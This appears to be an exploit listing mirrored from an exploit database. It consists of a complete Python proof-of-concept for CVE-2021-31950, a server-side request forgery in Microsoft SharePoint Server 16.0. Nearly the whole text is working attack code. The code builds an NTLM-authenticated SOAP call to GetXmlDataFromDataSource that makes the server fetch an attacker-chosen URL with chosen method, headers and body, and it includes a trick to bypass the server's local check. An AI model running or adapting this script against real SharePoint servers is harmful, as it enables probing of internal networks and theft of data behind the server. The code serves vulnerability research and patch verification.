Share
## https://sploitus.com/exploit?id=PACKETSTORM:163080
# Exploit Title: Microsoft SharePoint Server 16.0.10372.20060 - 'GetXmlDataFromDataSource' Server-Side Request Forgery (SSRF)  
# Date: 09 Jun 2021  
# Exploit Author: Alex Birnberg  
# Software Link: https://www.microsoft.com/en-us/download/details.aspx?id=57462  
# Version: 16.0.10372.20060  
# Tested on: Windows Server 2019  
# CVE : CVE-2021-31950  
  
#!/usr/bin/env python3  
  
import html  
import random  
import string  
import xml.sax.saxutils  
import textwrap  
import requests  
import argparse  
import xml.etree.ElementTree as ET  
from requests_ntlm2 import HttpNtlmAuth  
from urllib.parse import urlencode, urlparse  
  
class Exploit:  
def __init__(self, args):  
o = urlparse(args.url)  
self.url = args.url  
self.service = o.path  
self.username = args.username  
self.password = args.password  
self.target = args.target  
self.headers = args.header   
self.method = args.request  
self.data = args.data  
self.content_type = args.content_type  
self.s = requests.Session()  
self.s.auth = HttpNtlmAuth(self.username, self.password)  
self.s.headers = {  
'User-Agent': 'Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.90 Safari/537.36'  
}  
self.s.proxies = {  
'http': 'http://127.0.0.1:8080'  
}  
  
def trigger(self):  
headers = ''  
if self.headers:  
for header in self.headers:  
header = list(map(lambda x: x.strip(), header.split(':')))  
if len(header) != 2:  
continue  
headers += '<dataurl:Header name="{}">{}</dataurl:Header>'.format(header[0], header[1])  
method = ''  
bypass_local = ''  
if self.method and self.method.upper() == 'POST':  
method = 'HTTP Post'  
else:  
method = 'HTTP Get'  
bypass_local = '<dataurl:Arguments><dataurl:Argument Name="{0}">{0}</dataurl:Argument></dataurl:Arguments>'.format(''.join(random.choice(string.ascii_letters) for i in range(16)))  
content_type = ''  
if self.content_type and len(self.content_type):  
content_type = '<dataurl:ContentType>{}</dataurl:ContentType>'.format(self.content_type)  
data = ''  
if self.data and len(self.data):  
data = '<dataurl:PostData Encoding="Decode">{}</dataurl:PostData>'.format(html.escape(self.data).encode('ascii', 'xmlcharrefreplace').decode('utf-8'))  
query_xml = textwrap.dedent('''\  
<udc:DataSource xmlns:udc="http://schemas.microsoft.com/data/udc" xmlns:udcs="http://schemas.microsoft.com/data/udc/soap" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:dsp="http://schemas.microsoft.com/sharepoint/dsp" xmlns:dataurl="http://schemas.microsoft.com/sharepoint/dsp/xmlurl">  
<udc:ConnectionInfo>  
<udcs:Location href="">XMLURLDataAdapter</udcs:Location>  
<soap:Header>  
<dsp:versions>  
</dsp:versions>  
<dsp:request method="query" />  
</soap:Header>  
<soap:Body>  
<dsp:queryRequest>  
<dsp:ptQuery>  
<dataurl:Headers>  
<dataurl:Url href="{}" Method="{}"/>  
{}  
{}  
{}  
{}  
</dataurl:Headers>  
</dsp:ptQuery>  
</dsp:queryRequest>  
</soap:Body>  
</udc:ConnectionInfo>  
</udc:DataSource>'''.format(self.target, method, bypass_local, headers, data, content_type))  
query_xml = xml.sax.saxutils.escape(query_xml.replace('\r', '').replace('\n', ''))   
data = textwrap.dedent('''\  
<?xml version="1.0" encoding="utf-8"?>  
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">  
<soap:Body>  
<GetXmlDataFromDataSource xmlns="http://microsoft.com/sharepoint/webpartpages">  
<queryXml>{}</queryXml>  
</GetXmlDataFromDataSource>  
</soap:Body>  
</soap:Envelope>'''.format(query_xml))  
r = self.soap('webpartpages', 'http://microsoft.com/sharepoint/webpartpages/GetXmlDataFromDataSource', data)  
root = ET.fromstring(r.content)  
try:  
namespaces = {  
'soap': 'http://schemas.xmlsoap.org/soap/envelope/'  
}  
value = list(root.find('soap:Body', namespaces).iter())[2]   
if value.tag == 'faultcode':  
print('Error:', list(root.find('soap:Body', namespaces).iter())[3].text)  
else:  
print(value.text)  
except:  
print(r.content)  
pass  
  
def soap(self, service, action, data):  
headers = {  
'SOAPAction': '"{}"'.format(action),  
'Host': 'localhost',  
'Content-Type': 'text/xml; charset=utf-8',  
}  
return self.s.post('{}/_vti_bin/{}.asmx'.format(self.url, service), headers=headers, data=data)  
  
if __name__ == '__main__':  
parser = argparse.ArgumentParser()  
parser.add_argument('--url', help='Base URL', required=True, metavar='<url>')  
parser.add_argument('--username', help='Username of team site owner', required=True, metavar='<username>')  
parser.add_argument('--password', help='Password of team site owner', required=True, metavar='<password>')  
parser.add_argument('--target', help='Target URL to work with', required=True, metavar='<target>')  
parser.add_argument('-H', '--header', help='Pass custom header(s) to server', action='append', metavar='<header>')  
parser.add_argument('-X', '--request', help='Specify request command to use', metavar='<command>')  
parser.add_argument('-d', '--data', help='HTTP POST data', metavar='<data>')   
parser.add_argument('-c', '--content-type', help='Value for the "Content-Type" header', metavar='<type>')  
exploit = Exploit(parser.parse_args())  
exploit.trigger()